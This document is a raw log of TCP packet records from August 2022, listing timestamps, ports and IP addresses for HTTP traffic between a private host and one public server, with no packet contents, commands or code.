Aug 16, 2022 11:50:10.882536888 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882539988 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882546902 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882556915 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882567883 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882581949 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882597923 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882616043 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882632017 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882632971 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882647038 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882652044 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.882659912 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.882682085 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.883097887 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.883457899 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.883510113 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.883851051 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.884124041 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.884147882 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.884166002 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.884170055 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.884183884 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.884190083 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.884202003 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:10.884203911 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.884217978 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:10.884231091 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.062994957 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.063038111 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.063061953 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.063085079 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.063107014 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.063128948 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.063149929 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.063172102 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.063182116 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.063194990 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.063218117 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.063280106 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.063312054 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.066354990 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.109699011 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.109739065 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.109762907 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.109786987 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.109798908 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.109811068 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.109827042 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.109831095 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.109836102 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.109838963 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.109860897 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.109869003 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.109883070 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.109890938 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.109913111 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110042095 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.110078096 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110080004 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.110105038 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.110111952 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110127926 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.110135078 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110158920 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110178947 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.110202074 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.110213041 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110236883 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110241890 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.110270977 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110280037 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110282898 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.110312939 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110321999 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.110352993 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110404015 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.110428095 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.110438108 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110450983 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.110459089 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110474110 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.110481977 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110496044 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.110505104 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110524893 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110534906 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.110557079 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.110565901 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110582113 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.110588074 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110605001 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.110611916 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110627890 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.110642910 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110651016 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.110660076 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110676050 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.110687017 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110697985 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110699892 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.110707045 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110723019 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.110730886 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110744953 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.110754013 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110770941 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.110779047 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110793114 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.110804081 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.110832930 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.111005068 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.111027956 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.111046076 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.111052036 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.111054897 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.111074924 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.111092091 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.111108065 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.111160040 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.111181974 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.111196041 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.111206055 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.111215115 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.111227989 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.111236095 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.111258030 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.111569881 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.111618042 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.111640930 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.111664057 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.111664057 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.111675024 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.111687899 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.111696005 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.111710072 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.111718893 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.111740112 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.111752033 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.111784935 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.112313032 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.112690926 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.277988911 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.278028011 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.278043985 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.278062105 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.278079033 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.278095007 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.278111935 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.278145075 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.278148890 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.278381109 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.278444052 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.279742002 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.337455034 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.337486029 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.337502003 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.337519884 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.337537050 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.337553024 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.337564945 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.337572098 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.337589025 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.337589979 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.337594032 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.337611914 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.337939024 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.337956905 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.337965012 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.337984085 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.337995052 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.338015079 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.338021040 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.338035107 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.338057995 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.338066101 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.338073969 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.338099957 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.338323116 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.338357925 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.338372946 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.338403940 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.338407993 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.338423014 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.338437080 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.338442087 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.338460922 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.338465929 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.338479042 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.338481903 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.338501930 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.338512897 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.338517904 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.338527918 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.338550091 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.338560104 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.338566065 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.338579893 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.338591099 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.338598013 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.338615894 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.338622093 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.338637114 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.338660955 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.339026928 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.339063883 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.339103937 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.339134932 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.339143991 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.339162111 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.339173079 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.339179993 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.339189053 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.339205027 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.339211941 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.339221001 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.339230061 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.339247942 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.339247942 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.339263916 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.339266062 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.339281082 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.339297056 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.339319944 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.339370012 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.339389086 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.339406013 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.339406967 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.339432955 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.339448929 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.339464903 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.339482069 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.339497089 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.339514017 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.339658976 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.339669943 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.339678049 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.339689016 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.339696884 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.339704990 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.339715004 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.339730024 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.339744091 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.340017080 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.340054989 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.340065002 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.340081930 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.340096951 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.340114117 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.340482950 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.340641975 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.494626999 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.494683027 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.494772911 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.565294027 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.565351009 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.565376043 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.565396070 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.565422058 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.565447092 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.565505028 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.565522909 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.565555096 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.565573931 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.565579891 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.565607071 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.565620899 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.565680027 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.565649033 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.565709114 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.565725088 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.565752983 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.565783024 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.565793991 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.565839052 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.565839052 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.565880060 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.566658974 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.566689968 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.566715002 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.566742897 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.566766977 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.566777945 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.566823006 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.566956043 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.566988945 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.567013025 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.567059040 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.567071915 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.567112923 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.567114115 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.567152977 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.567156076 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.567193985 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.567197084 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.567239046 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.567240000 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.567281961 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.567285061 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.567323923 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.567327023 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.567369938 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.567390919 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.567434072 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.567433119 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.567476988 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.567478895 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.567521095 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.567523003 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.567564964 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.567565918 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.567605972 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.567609072 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.567646027 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.567650080 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.567689896 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.567696095 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.567734957 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.567738056 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.567766905 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.567785978 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.567809105 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.567823887 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.567838907 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.567867041 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.567892075 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.567936897 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.567945004 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.567966938 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.567995071 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:11.568020105 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.568032980 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:11.568068981 CEST	80	49203	187.45.240.69	192.168.2.22
